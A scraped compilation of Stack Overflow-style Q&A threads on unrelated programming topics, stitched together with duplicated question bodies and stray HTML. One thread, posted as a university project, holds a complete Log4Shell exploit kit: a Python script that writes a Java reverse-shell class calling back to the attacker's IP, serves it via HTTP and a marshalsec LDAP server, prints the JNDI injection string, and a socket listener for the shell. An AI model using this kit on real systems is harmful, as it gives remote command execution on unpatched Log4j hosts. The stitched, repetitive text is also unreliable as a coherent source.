  ;Body: {"error":"unauthorized_client","error_description":"AADSTS70001: Application with identifier '000000004C1CEB08' was not found in the directory 9188040d-6c67-4c5b-b112-36a304b66dad\r\nTrace ID: de0960ca-282b-4832-8d79-7e544fb30500\r\nCorrelation ID: f204ae6b-8169-4b2c-8af6-902f1c62b79d\r\nTimestamp: 2017-04-12 06:57:19Z","error_codes":[70001],"timestamp":"2017-04-12 06:57:19Z","trace_id":"de0960ca-282b-4832-8d79-7e544fb30500","correlation_id":"f204ae6b-8169-4b2c-8af6-902f1c62b79d"};
  ```

In the past we did some Azure Active Directory / Office 365 development and my MSAccount might also be inside one or two different Azure Active Directories, but my goal is just to login with my personal Microsoft Account, so I'm not sure why the error points to some AAD directory.

Any hint how to solve this?


问:
Error in Comprehensions list but correct in for loop
I'm trying to create static variables in a class with exec and Comprehensions list:

```<code>
class DictTranslator:

    def __init__(self):
        self.create_static_variables()

    def get_value(self, key):

        return self.dict_.get(key)

    def create_static_variables(self):
        [exec("self." + str(value) + " = " + str(key))   for key, value in self.dict_.items()]

class AppImportanceTranslator(DictTranslator):

    dict_ = {
        -1: 'Unknown',
        0: 'Gone',
        1: 'Foreground',
        2: 'ForegroundService'
    }
</code>```

but I've this error:
NameError: name 'self' is not defined

but I can change the code to:

```<code>class DictTranslator:

    def __init__(self):
        self.create_static_variables()

    def get_value(self, key):

        return self.dict_.get(key)

    def create_static_variables(self):
        for key, value in self.dict_.items():
            exec("self." + str(value) + " = " + str(key))

class AppImportanceTranslator(DictTranslator):

    dict_ = {
        -1: 'Unknown',
        0: 'Gone',
        1: 'Foreground',
        2: 'ForegroundService'
    }

</code>```

And this code is correct.

Any idea?

My python version is 3.8.10

答:
First of all:

Don't use list comprehensions for side effects. You are creating a list object with None references, then discarding it again. That's a waste of computer resources.

Always use a for loop if all you needed was a loop.

You can set attributes on self with the setattr() function. exec() should be a last resort, as it opens you to all sorts of performance and security issues.

You can use:

```<code>for key, value in self.dict_.items():
    setattr(self, value, str(key))
</code>```

to achieve the same thing.

Alternatively, give your class a __getattr__ hook and have it look up attributes lazily:

```<code>def __getattr__(self, name):
    try:
        return str(self.dict_[name])
    except KeyError:
        # raise an AttributeError instead
        raise AttributeError(name) from None
</code>```

The __getattr__ hook is called for any attribute not explicitly set on your instance.

Now, for what actually goes wrong:

exec() can't see self because a list comprehension is a new scope, as if you ran:

```<code>def create_static_variables(self):
    def inner_function():
        for key, value in self.dict_.items():
            exec("self." + str(value) + " = " + str(key))
    inner_function()
</code>```

At compile time, Python can see the self in self.dict_.items() and bind it as a closure (taking it from the local namespace of the create_static_variables() call. But exec() doesn't run at compile time and so can only see globals or locals.

You could use exec(..., globals(), {"self": self}) to pass along the self binding in a new local namespace, to work around that.

Body:
I'm trying to create static variables in a class with exec and Comprehensions list:

class DictTranslator:

    def __init__(self):
        self.create_static_variables()

    def get_value(self, key):

        return self.dict_.get(key)

    def create_static_variables(self):
        [exec("self." + str(value) + " = " + str(key))   for key, value in self.dict_.items()]

class AppImportanceTranslator(DictTranslator):

    dict_ = {
        -1: 'Unknown',
        0: 'Gone',
        1: 'Foreground',
        2: 'ForegroundService'
    }

but I've this error:
NameError: name 'self' is not defined

but I can change the code to:

class DictTranslator:

    def __init__(self):
        self.create_static_variables()

    def get_value(self, key):

        return self.dict_.get(key)

    def create_static_variables(self):
        for key, value in self.dict_.items():
            exec("self." + str(value) + " = " + str(key))

class AppImportanceTranslator(DictTranslator):

    dict_ = {
        -1: 'Unknown',
        0: 'Gone',
        1: 'Foreground',
        2: 'ForegroundService'
    }

And this code is correct.

Any idea?

My python version is 3.8.10

Body:
First of all:

Don't use list comprehensions for side effects. You are creating a list object with None references, then discarding it again. That's a waste of computer resources.

Always use a for loop if all you needed was a loop.

You can set attributes on self with the setattr() function. exec() should be a last resort, as it opens you to all sorts of performance and security issues.

You can use:

for key, value in self.dict_.items():
    setattr(self, value, str(key))

to achieve the same thing.

Alternatively, give your class a __getattr__ hook and have it look up attributes lazily:

def __getattr__(self, name):
    try:
        return str(self.dict_[name])
    except KeyError:
        # raise an AttributeError instead
        raise AttributeError(name) from None

The __getattr__ hook is called for any attribute not explicitly set on your instance.

Now, for what actually goes wrong:

exec() can't see self because a list comprehension is a new scope, as if you ran:

def create_static_variables(self):
    def inner_function():
        for key, value in self.dict_.items():
            exec("self." + str(value) + " = " + str(key))
    inner_function()

At compile time, Python can see the self in self.dict_.items() and bind it as a closure (taking it from the local namespace of the create_static_variables() call. But exec() doesn't run at compile time and so can only see globals or locals.

You could use exec(..., globals(), {"self": self}) to pass along the self binding in a new local namespace, to work around that.


问:
Lock screen on Linux-based screens
Is there a lock screen on Linux-based systems?

When the screen is locked, the user should enter a PIN code to enter back. Like the PIN screen lock on an iPhone.

答:
I don't know if you are looking for a tool or library to do this. There are quite a few DE independent options:

xlock

slock

They are opensource so you can take a look at code if you are looking for a programatic way to do this.

For library you can look at xlib for all interaction with X. XLockDisplay is the function that you might want to use.

Title: Lock screen on Linux-based screens


问:
Locators and Page Object Model
I want to use Playwright's Locators in my page objects. I found an example for Javascript (stripped for brevity):

import { Page } from '@playwright/test';

export class TodoPage {
  listItems = this.page.locator('.todo-list li');

  constructor(public readonly page: Page) { }
}
```
<p>Trying to do the same in my Java code:</p>

```public class LoginPage {

    private Page page;

    private Locator loginButton = this.page.locator("#loginButton");

    public LoginPage(Page page){
        this.page = page;
    }
}
```
<p>throws a null pointer exception, because <code>page</code> is not yet initiated, when initializing <code>loginButton</code>.</p>
<p>I could do</p>

```private Locator loginButton;

public LoginPage(Page page){
    this.page = page;

    loginButton =  this.page.locator("#loginButton");
}
```

but this would become kind of lenghty/ messy, for large page object classes.

Any ideas on how to do that in Java?

Thanks!

答:
You could put the Locator definition inside the constructor:</p>
```<code>public class LoginPage {

    private Page page;
    private Locator loginButton;

    public LoginPage(Page page){
        this.page = page;
        this.loginButton = this.page.locator("#loginButton");
    }
}
</code>```

Title: Locators and Page Object Model

Body:
I want to use Playwright's Locators in my page objects. I found an example for Javascript (stripped for brevity):

import { Page } from '@playwright/test';

export class TodoPage {
  listItems = this.page.locator('.todo-list li');

  constructor(public readonly page: Page) { }
}

Trying to do the same in my Java code:

public class LoginPage {

    private Page page;

    private Locator loginButton = this.page.locator("#loginButton");

    public LoginPage(Page page){
        this.page = page;
    }
}

throws a null pointer exception, because page is not yet initiated, when initializing loginButton.

I could do

private Locator loginButton;

public LoginPage(Page page){
    this.page = page;

    loginButton =  this.page.locator("#loginButton");
}

but this would become kind of lenghty/ messy, for large page object classes.

Any ideas on how to do that in Java?

Thanks!

Body:
You could put the Locator definition inside the constructor:

public class LoginPage {

    private Page page;
    private Locator loginButton;

    public LoginPage(Page page){
        this.page = page;
        this.loginButton = this.page.locator("#loginButton");
    }
}


问:
reactor.netty.ioWorkerCount different default count
According to netty documentation, default reactor.netty.ioWorkerCount count is max(4, number of cores), which seems true on local environment. I have a 6 core laptop, and the number of reactor-http-io threads were 6.

But on deploying docker image in kuberenetes we found that reactor-http-epoll (linux) thread count was 36. Our CPU configuration is: Request 4, limit 6.

This doubt was also raised by @ROCKY in one of the comments in Threading model of Spring WebFlux and Reactor.
It seems like it is still unanswered.

So is there something that explains this behaviour?

答:
I think we have have found the answer. Our machine had 36 cores. But our pod had the configuration of 4 cores. So it seems like netty was picking up the machine configuration and not our pod configuration, So this seems like a bug in netty or something else that we are missing.

We are using Spring boot 2.2.0.RELEASE and reactor-netty 0.9.9 version.


问:
Python server does not show output correctly
for a university project I am testing the log4j vulnerability. To do this, I use a python server that connects to the java client by creating a reverse shell.
Everything works except the output to server which is not displayed correctly. Specifically, the server shows the output of two previous inputs and I'm not understanding why.
I'm new to python and java programming so I'm a little confused.

Initial project: https://github.com/KleekEthicalHacking/log4j-exploit
I made some changes and added a python socket to handle the reverse shell.

PS: with netcat it seems to work fine but command with some space non work (ex: cd .. not work)

For run this project i use kali linux (python server) and ubuntu (java webapp). This code does not yet manage clients with windows os

poc.py + exploit class:

```<code>import sys
import argparse
from colorama import Fore, init
import subprocess
import multiprocessing

from http.server import HTTPServer, SimpleHTTPRequestHandler

init(autoreset=True)

def listToString(s):
    str1 = ""
    try:
        for ele in s:
            str1 += ele
        return str1
    except Exception as ex:
        parser.print_help()
        sys.exit()

def payload(userip, webport, lport):
    genExploit = (
                     """
                import java.io.IOException;
                import java.io.InputStream;
                import java.io.OutputStream;
                import java.net.Socket;

                public class Exploit {

                    public Exploit() throws Exception {
                        String host="%s";
                        int port=%s;
                        //String cmd="/bin/sh";
                        String [] os_specs = GetOperatingSystem();
                        String os_name = os_specs[0].toString();
                        String cmd = os_specs[1].toString();
                        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
                        Socket s=new Socket(host,port);
                        InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
                        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
                        so.write(os_name.getBytes("UTF-8"));
                        while(!s.isClosed()) {
                            while(pi.available()>0)
                                so.write(pi.read());
                            while(pe.available()>0)
                                so.write(pe.read());
                            while(si.available()>0)
                                po.write(si.read());
                            so.flush();
                            po.flush();
                            Thread.sleep(50);
                            try {
                                p.exitValue();
                                break;
                            }
                            catch (Exception e){
                            }
                        };
                        p.destroy();
                        s.close();
                    }

                    public String [] GetOperatingSystem() throws Exception {
                       String os = System.getProperty("os.name").toLowerCase();
                       String [] result = new String[3];
                       if (os.contains("win")) {
                           result[0] = "Windows";
                           result[1] = "cmd.exe";
                       }
                       else if (os.contains("nix") || os.contains("nux") || os.contains("aix")) {
                           result[0] = "Linux";
                           result[1] = "/bin/sh";
                       }
                       return result;
                    }
                }
                 """) % (userip, lport)

    # writing the exploit to Exploit.java file

    try:
        f = open("Exploit.java", "w")
        f.write(genExploit)
        f.close()
        print(Fore.GREEN + '[+] Exploit java class created success')

    except Exception as e:
        print(Fore.RED + f'[X] Something went wrong {e.toString()}')

    # checkJavaAvailible()
    # print(Fore.GREEN + '[+] Setting up LDAP server\n')

    # openshellforinjection(lport)
    checkJavaAvailible()

    print(Fore.GREEN + '[+] Setting up a new shell for RCE\n')
    p1 = multiprocessing.Process(target=open_shell_for_injection, args=(lport,))
    p1.start()

    print(Fore.GREEN + '[+] Setting up LDAP server\n')
    p2 = multiprocessing.Process(target=createLdapServer, args=(userip, webport))
    p2.start()

    # create the LDAP server on new thread
    # t1 = threading.Thread(target=createLdapServer, args=(userip, webport))
    # t1.start()
    # createLdapServer(userip, webport)

    # start the web server
    print(Fore.GREEN + f"[+] Starting the Web server on port {webport} http://0.0.0.0:{webport}\n")
    httpd = HTTPServer(('0.0.0.0', int(webport)), SimpleHTTPRequestHandler)
    httpd.serve_forever()

def checkJavaAvailible():
    javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL,
                              stdout=subprocess.DEVNULL)
    if javaver != 0:
        print(Fore.RED + '[X] Java is not installed inside the repository ')
        sys.exit()

def createLdapServer(userip, lport):
    sendme = "${jndi:ldap://%s:1389/a}" % userip
    print(Fore.GREEN + "[+] Send me: " + sendme + "\n")

    subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])

    url = "http://{}:{}/#Exploit".format(userip, lport)
    subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
                    "target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])

def open_shell_for_injection(lport):
    terminal = subprocess.call(["qterminal", "-e", "python3 -i rce.py --lport " + lport])
    # terminal = subprocess.call(["qterminal", "-e", "nc -lvnp " + lport]) #netcat work

if __name__ == "__main__":

    try:
        parser = argparse.ArgumentParser(description='please enter the values ')

        parser.add_argument('--userip', metavar='userip', type=str,
                            nargs='+', help='Enter IP for LDAPRefServer & Shell')

        parser.add_argument('--webport', metavar='webport', type=str,
                            nargs='+', help='listener port for HTTP port')

        parser.add_argument('--lport', metavar='lport', type=str,
                            nargs='+', help='Netcat Port')

        args = parser.parse_args()

        payload(listToString(args.userip), listToString(args.webport), listToString(args.lport))

    except KeyboardInterrupt:
        print(Fore.RED + "\n[X] user interupted the program.")
        sys.exit(0)
</code>```

rce.py:

```<code>import argparse
import socket
import sys

from colorama import Fore, init

def listToString(s):
    str1 = ""
    try:
        for ele in s:
            str1 += ele
        return str1
    except Exception as ex:
        parser.print_help()
        sys.exit()

def socket_for_rce(lport):
    print(Fore.GREEN + "[+] Setup Shell for RCE\n")
    SERVER_HOST = "0.0.0.0"
    SERVER_PORT = int(lport)
    BUFFER_SIZE = 8192
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((SERVER_HOST, SERVER_PORT))
    s.listen(1)
    print(Fore.GREEN + f"Listening as {SERVER_HOST}:{SERVER_PORT}\n")
    client_socket, client_address = s.accept()
    print(
        Fore.GREEN + "(" + Fore.YELLOW + "REMOTE HOST" + Fore.GREEN + ") " + f"{client_address[0]}:{client_address[1]}"
                                                                             f" --> "
                                                                             f"Connected! (exit = close connection)\n")
    os_target = client_socket.recv(BUFFER_SIZE).decode()
    print("OS TARGET: " + Fore.YELLOW + os_target + "\n")
    if not os_target:
        print(Fore.RED + "[X] No OS detected\n")

    folderCommand = "pwd"
    folderCommand += "\n"
    client_socket.sendall(folderCommand.encode())
    path = client_socket.recv(BUFFER_SIZE).decode()
    print("path: " + path)
    if not path:
        print(Fore.RED + "[X] No work folder received\n")
    path_text = Fore.GREEN + "(" + Fore.YELLOW + "REMOTE" + Fore.GREEN + ") " + path

    while True:
        command = input(f"{path_text} > ")
        command += "\n"
        # if not command.strip():
        #    continue

        if command != "":
            if command == "exit":
                print(Fore.RED + "\n[X] Connection closed\n")
                client_socket.close()
                s.close()
                break

            else:
                client_socket.sendall(command.encode())
                data = client_socket.recv(BUFFER_SIZE).decode()
                print(data)
        else:
            pass

if __name__ == "__main__":

    try:
        parser = argparse.ArgumentParser(description='Instruction for usage: ')

        parser.add_argument('--lport', metavar='lport', type=str,
                            nargs='+', help='Rce Port')

        args = parser.parse_args()

        socket_for_rce(listToString(args.lport))

    except KeyboardInterrupt:
        print(Fore.RED + "\n[X] User interupted the program.")
        sys.exit(0)
</code>```

Result:

答: Now works. I added time.sleep(0.2) after each sendall in rce.py

Body:
for a university project I am testing the log4j vulnerability. To do this, I use a python server that connects to the java client by creating a reverse shell.
Everything works except the output to server which is not displayed correctly. Specifically, the server shows the output of two previous inputs and I'm not understanding why.
I'm new to python and java programming so I'm a little confused.

Initial project: https://github.com/KleekEthicalHacking/log4j-exploit
I made some changes and added a python socket to handle the reverse shell.

PS: with netcat it seems to work fine but command with some space non work (ex: cd .. not work)

For run this project i use kali linux (python server) and ubuntu (java webapp). This code does not yet manage clients with windows os

poc.py + exploit class:

import sys
import argparse
from colorama import Fore, init
import subprocess
import multiprocessing

from http.server import HTTPServer, SimpleHTTPRequestHandler

init(autoreset=True)

def listToString(s):
    str1 = ""
    try:
        for ele in s:
            str1 += ele
        return str1
    except Exception as ex:
        parser.print_help()
        sys.exit()

def payload(userip, webport, lport):
    genExploit = (
                     """
                import java.io.IOException;
                import java.io.InputStream;
                import java.io.OutputStream;
                import java.net.Socket;

                public class Exploit {

                    public Exploit() throws Exception {
                        String host="%s";
                        int port=%s;
                        //String cmd="/bin/sh";
                        String [] os_specs = GetOperatingSystem();
                        String os_name = os_specs[0].toString();
                        String cmd = os_specs[1].toString();
                        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
                        Socket s=new Socket(host,port);
                        InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
                        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
                        so.write(os_name.getBytes("UTF-8"));
                        while(!s.isClosed()) {
                            while(pi.available()>0)
                                so.write(pi.read());
                            while(pe.available()>0)
                                so.write(pe.read());
                            while(si.available()>0)
                                po.write(si.read());
                            so.flush();
                            po.flush();
                            Thread.sleep(50);
                            try {
                                p.exitValue();
                                break;
                            }
                            catch (Exception e){
                            }
                        };
                        p.destroy();
                        s.close();
                    }

                    public String [] GetOperatingSystem() throws Exception {
                       String os = System.getProperty("os.name").toLowerCase();
                       String [] result = new String[3];
                       if (os.contains("win")) {
                           result[0] = "Windows";
                           result[1] = "cmd.exe";
                       }
                       else if (os.contains("nix") || os.contains("nux") || os.contains("aix")) {
                           result[0] = "Linux";
                           result[1] = "/bin/sh";
                       }
                       return result;
                    }
                }
                 """) % (userip, lport)

    # writing the exploit to Exploit.java file

    try:
        f = open("Exploit.java", "w")
        f.write(genExploit)
        f.close()
        print(Fore.GREEN + '[+] Exploit java class created success')

    except Exception as e:
        print(Fore.RED + f'[X] Something went wrong {e.toString()}')

    # checkJavaAvailible()
    # print(Fore.GREEN + '[+] Setting up LDAP server\n')

    # openshellforinjection(lport)
    checkJavaAvailible()

    print(Fore.GREEN + '[+] Setting up a new shell for RCE\n')
    p1 = multiprocessing.Process(target=open_shell_for_injection, args=(lport,))
    p1.start()

    print(Fore.GREEN + '[+] Setting up LDAP server\n')
    p2 = multiprocessing.Process(target=createLdapServer, args=(userip, webport))
    p2.start()

    # create the LDAP server on new thread
    # t1 = threading.Thread(target=createLdapServer, args=(userip, webport))
    # t1.start()
    # createLdapServer(userip, webport)

    # start the web server
    print(Fore.GREEN + f"[+] Starting the Web server on port {webport} http://0.0.0.0:{webport}\n")
    httpd = HTTPServer(('0.0.0.0', int(webport)), SimpleHTTPRequestHandler)
    httpd.serve_forever()

def checkJavaAvailible():
    javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL,
                              stdout=subprocess.DEVNULL)
    if javaver != 0:
        print(Fore.RED + '[X] Java is not installed inside the repository ')
        sys.exit()

def createLdapServer(userip, lport):
    sendme = "${jndi:ldap://%s:1389/a}" % userip
    print(Fore.GREEN + "[+] Send me: " + sendme + "\n")

    subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])

    url = "http://{}:{}/#Exploit".format(userip, lport)
    subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
                    "target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])

def open_shell_for_injection(lport):
    terminal = subprocess.call(["qterminal", "-e", "python3 -i rce.py --lport " + lport])
    # terminal = subprocess.call(["qterminal", "-e", "nc -lvnp " + lport]) #netcat work

if __name__ == "__main__":

    try:
        parser = argparse.ArgumentParser(description='please enter the values ')

        parser.add_argument('--userip', metavar='userip', type=str,
                            nargs='+', help='Enter IP for LDAPRefServer & Shell')

        parser.add_argument('--webport', metavar='webport', type=str,
                            nargs='+', help='listener port for HTTP port')

        parser.add_argument('--lport', metavar='lport', type=str,
                            nargs='+', help='Netcat Port')

        args = parser.parse_args()

        payload(listToString(args.userip), listToString(args.webport), listToString(args.lport))

    except KeyboardInterrupt:
        print(Fore.RED + "\n[X] user interupted the program.")
        sys.exit(0)

rce.py:

import argparse
import socket
import sys

from colorama import Fore, init

def listToString(s):
    str1 = ""
    try:
        for ele in s:
            str1 += ele
        return str1
    except Exception as ex:
        parser.print_help()
        sys.exit()

def socket_for_rce(lport):
    print(Fore.GREEN + "[+] Setup Shell for RCE\n")
    SERVER_HOST = "0.0.0.0"
    SERVER_PORT = int(lport)
    BUFFER_SIZE = 8192
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((SERVER_HOST, SERVER_PORT))
    s.listen(1)
    print(Fore.GREEN + f"Listening as {SERVER_HOST}:{SERVER_PORT}\n")
    client_socket, client_address = s.accept()
    print(
        Fore.GREEN + "(" + Fore.YELLOW + "REMOTE HOST" + Fore.GREEN + ") " + f"{client_address[0]}:{client_address[1]}"
                                                                             f" --> "
                                                                             f"Connected! (exit = close connection)\n")
    os_target = client_socket.recv(BUFFER_SIZE).decode()
    print("OS TARGET: " + Fore.YELLOW + os_target + "\n")
    if not os_target:
        print(Fore.RED + "[X] No OS detected\n")

    folderCommand = "pwd"
    folderCommand += "\n"
    client_socket.sendall(folderCommand.encode())
    path = client_socket.recv(BUFFER_SIZE).decode()
    print("path: " + path)
    if not path:
        print(Fore.RED + "[X] No work folder received\n")
    path_text = Fore.GREEN + "(" + Fore.YELLOW + "REMOTE" + Fore.GREEN + ") " + path

    while True:
        command = input(f"{path_text} > ")
        command += "\n"
        # if not command.strip():
        #    continue

        if command != "":
            if command == "exit":
                print(Fore.RED + "\n[X] Connection closed\n")
                client_socket.close()
                s.close()
                break

            else:
                client_socket.sendall(command.encode())
                data = client_socket.recv(BUFFER_SIZE).decode()
                print(data)
        else:
            pass

if __name__ == "__main__":

    try:
        parser = argparse.ArgumentParser(description='Instruction for usage: ')

        parser.add_argument('--lport', metavar='lport', type=str,
                            nargs='+', help='Rce Port')

        args = parser.parse_args()

        socket_for_rce(listToString(args.lport))

    except KeyboardInterrupt:
        print(Fore.RED + "\n[X] User interupted the program.")
        sys.exit(0)

Result:


问:
How to see the progress of vectorizer.fit (sklearn)?
Consider the following code:

from sklearn.feature_extraction.text import CountVectorizer

vectorizer = CountVectorizer()
vectorizer.fit(documents)
```

The fit function takes a long time to run when there is a lot of documents (100k in my case). How to see progress (i.e., a progress bar or a count)? There is no verbose option.

答:
You are right there is no verbose option, but there is a possible workaround.

The CountVectorizer class, does some pre-processing steps like strip_accents (None by default as in your case) and then lowercase and tokenizer (True by default as in your case for both, because you are using the word analyzer with default parameters).

Considering you don't care about the progress of the pre-processing steps, the only way to get information about the progress of the method, would be to create your own analyser as a callable, which is simply a function that would do the same but also print the progress at every 10% (as an example).

But if you just want a friendly way to know how long it will take, since the computation time of CountVectorizer is linearly correlated to the input size, you can choose just a fraction of your data (randomly sampled) like 10%, process that and time it. Then you know it will take about 10x more to process everything.

Body:
Consider the following code:

from sklearn.feature_extraction.text import CountVectorizer

vectorizer = CountVectorizer()
vectorizer.fit(documents)

The fit function takes a long time to run when there is a lot of documents (100k in my case). How to see progress (i.e., a progress bar or a count)? There is no verbose option.


问:
NLog config file to get configuration setting values from a web.config
Is there a method to get a value from the <ApplicationSettings> section of a web.config within NLog layout variables?

I already store SMTP details within my web.config and don't want to duplicate the settings just to use within my NLog.config.

Ideally I'd like to do something like: ${aspnet-config:SmtpHostServer}
which then fetches the value from the web.config

答:
I couldn't see any obvious way to do this other than creating my own LayoutRenderer (see below). If you're putting into your own assembly don't forget to add the following into your NLog.Config:

<extensions>
   <add assembly="YOURASSEMBLYNAMEHERE" />
</extensions>
```

<p>Hope this helps someone else:</p>

<pre class="lang-cs prettyprint-override"><code>[LayoutRenderer("aspnet-config")]
public class AspNetConfigValueLayoutRenderer : LayoutRenderer
{
    [DefaultParameter]
    public string Variable
    {
        get;
        set;
    }

    protected override void Append(StringBuilder builder, LogEventInfo logEvent)
    {
        if (this.Variable == null)
        {
            return;
        }
        HttpContext context = HttpContext.Current;
        if (context == null)
        {
            return;
        }
        builder.Append(Convert.ToString(System.Configuration.ConfigurationManager.AppSettings[this.Variable], CultureInfo.InvariantCulture));
    }

}
</code>```

Body:
I couldn't see any obvious way to do this other than creating my own LayoutRenderer (see below). If you're putting into your own assembly don't forget to add the following into your NLog.Config:

<extensions>
   <add assembly="YOURASSEMBLYNAMEHERE" />
</extensions>

Hope this helps someone else:

[LayoutRenderer("aspnet-config")]
public class AspNetConfigValueLayoutRenderer : LayoutRenderer
{
    [DefaultParameter]
    public string Variable
    {
        get;
        set;
    }

    protected override void Append(StringBuilder builder, LogEventInfo logEvent)
    {
        if (this.Variable == null)
        {
            return;
        }
        HttpContext context = HttpContext.Current;
        if (context == null)
        {
            return;
        }
        builder.Append(Convert.ToString(System.Configuration.ConfigurationManager.AppSettings[this.Variable], CultureInfo.InvariantCulture));
    }

}


问:
Wix Toolset how to copy to folder with version in path
I'm using Wix toolset v 3.11 in VS2019 to create a setup for our application. In order to ease maintenance, I need to copy the installer files to a folder with the version in its path.

Basically what I thought was to use a post build event where I would copy the files to a \$(BootstrapPackageVersion)\$(Configuration)\ directory, but I am not able to find such variable.

I tried to extract the version from the .exe package (since it gets its version from the MSI package that itself get its version from the original application, as intended) with the following code in the .wixproj file:

```<code>  </PropertyGroup>
    <Target Name="AfterBuild">
        <GetAssemblyIdentity AssemblyFiles="$(TargetPath)">
            <Output TaskParameter="Assemblies" ItemName="AssemblyVersions" />
        </GetAssemblyIdentity>
        <CreateProperty Value="$(TargetDir)/%(AssemblyVersions.Version)/">
            <Output TaskParameter="Value" PropertyName="CustomTargetName" />
        </CreateProperty>
        <Copy SourceFiles="$(TargetDir)/*" DestinationFolder="$(CustomTargetName)"/>
    </Target>
</code>```

But it fails with the following error:

Cannot get assembly name for "[Path]\Setup.exe". Could not load file
or assembly 'Setup.exe' or one of its dependencies. The module was
expected to contain an assembly manifest.

I saw that there is a property, $(WixBundleVersion), but it doesn't seems to be available to use in build events.

Basically what I want to achieve is a fairly simple thing: take the output from the bootstrapper project and copy everything to another path that include the package version. It is possible?

答:
The way I do this in my wix project is to output setup.exe into it's default folder and then run an AfterBuild and copy it to the final artifacts directory

in wixproj:

```<code><Target>
...
    <GetAssemblyIdentity AssemblyFiles="..\MyApp.App\bin\$(Configuration)\net5.0\FrameworkDep\win-$(Platform)\Publish\MyApp.App.dll">
        <Output TaskParameter="Assemblies" ItemName="AssemblyVersion" />
    </GetAssemblyIdentity>
    <PropertyGroup>
        <DefineConstants>BuildVersion=%(AssemblyVersion.Version)</DefineConstants>
    </PropertyGroup>
...
</Target>
<Target Name="AfterBuild">
    <Copy SourceFiles=".\bin\$(Configuration)\en-us\$(OutputName).msi" DestinationFiles=".\bin\$(Configuration)\$(OutputName)_%(AssemblyVersion.Version).msi" />
</Target>
</code>```

This assigns
BuildVersion which you can then use in your wxs files
and
AssemblyVersion which you can use in the wixproj with %(AssemblyVersion.Version)

the AfterBuild section is copying the msi to
MyApp_1.2.3.msi

in my wxs file I can use:

```<code><Product Id="*" Name="My App" Language="1033"
       Version="$(var.BuildVersion)>
</code>```

This is then using the build version from above so I just version control MyApp.App project.

Body:
I'm using Wix toolset v 3.11 in VS2019 to create a setup for our application. In order to ease maintenance, I need to copy the installer files to a folder with the version in its path.

Basically what I thought was to use a post build event where I would copy the files to a \$(BootstrapPackageVersion)\$(Configuration)\ directory, but I am not able to find such variable.

I tried to extract the version from the .exe package (since it gets its version from the MSI package that itself get its version from the original application, as intended) with the following code in the .wixproj file:

  </PropertyGroup>
    <Target Name="AfterBuild">
        <GetAssemblyIdentity AssemblyFiles="$(TargetPath)">
            <Output TaskParameter="Assemblies" ItemName="AssemblyVersions" />
        </GetAssemblyIdentity>
        <CreateProperty Value="$(TargetDir)/%(AssemblyVersions.Version)/">
            <Output TaskParameter="Value" PropertyName="CustomTargetName" />
        </CreateProperty>
        <Copy SourceFiles="$(TargetDir)/*" DestinationFolder="$(CustomTargetName)"/>
    </Target>

But it fails with the following error:

Cannot get assembly name for "[Path]\Setup.exe". Could not load file
or assembly 'Setup.exe' or one of its dependencies. The module was
expected to contain an assembly manifest.

I saw that there is a property, $(WixBundleVersion), but it doesn't seems to be available to use in build events.

Basically what I want to achieve is a fairly simple thing: take the output from the bootstrapper project and copy everything to another path that include the package version. It is possible?

Body:
The way I do this in my wix project is to output setup.exe into it's default folder and then run an AfterBuild and copy it to the final artifacts directory

in wixproj:

<Target>
...
    <GetAssemblyIdentity AssemblyFiles="..\MyApp.App\bin\$(Configuration)\net5.0\FrameworkDep\win-$(Platform)\Publish\MyApp.App.dll">
        <Output TaskParameter="Assemblies" ItemName="AssemblyVersion" />
    </GetAssemblyIdentity>
    <PropertyGroup>
        <DefineConstants>BuildVersion=%(AssemblyVersion.Version)</DefineConstants>
    </PropertyGroup>
...
</Target>
<Target Name="AfterBuild">
    <Copy SourceFiles=".\bin\$(Configuration)\en-us\$(OutputName).msi" DestinationFiles=".\bin\$(Configuration)\$(OutputName)_%(AssemblyVersion.Version).msi" />
</Target>

This assigns
BuildVersion which you can then use in your wxs files
and
AssemblyVersion which you can use in the wixproj with %(AssemblyVersion.Version)

the AfterBuild section is copying the msi to
MyApp_1.2.3.msi

in my wxs file I can use:

<Product Id="*" Name="My App" Language="1033"
       Version="$(var.BuildVersion)>

This is then using the build version from above so I just version control MyApp.App project.


问:
Call Snippet From Jquery/Ajax MODx
I have a select element that does a post using jQuery on a change event, I was trying to post it to a snippet and get the results back, however it seems that if the snippet is called directly from javascript there will be no notion of the ($modx) object and i can't access the DB using PDO, my code is as follows:

$(document).ready(function() {

    $('#camplist').change(function() {

        $.post('core/components/evoprograms/snippets/register-camp.php?action=getCamp&id=' + $(this).val(), function(data) {
            $("camp-details").show();
            $('.result').html(data);
        });

    });

});
```

What's the right approach to do it?

答:
$.post('core/components/evoprograms/snippets/register-camp.php

This is not good - you don't want anyone accessing anything under /core/*

Basically there are two ways:

The simplest way - create a resource (without any template) with only your snippet call in it as content (uncached!).   then do you $.post to that resource.

the revolution way (cleaner, better) - use your own connector (/assets/components/evoprograms/connector.php).   see this for more info.  or just copy any existing connector and modify if needed.

Title: Call Snippet From Jquery/Ajax MODx

Body:
I have a select element that does a post using jQuery on a change event, I was trying to post it to a snippet and get the results back, however it seems that if the snippet is called directly from javascript there will be no notion of the ($modx) object and i can't access the DB using PDO, my code is as follows:

$(document).ready(function() {

    $('#camplist').change(function() {

        $.post('core/components/evoprograms/snippets/register-camp.php?action=getCamp&id=' + $(this).val(), function(data) {
            $("camp-details").show();
            $('.result').html(data);
        });

    });

});

What's the right approach to do it?


问:
Get code from country or zone name to set locale() moment.js
I'm using moment.js with moment timezone in it.

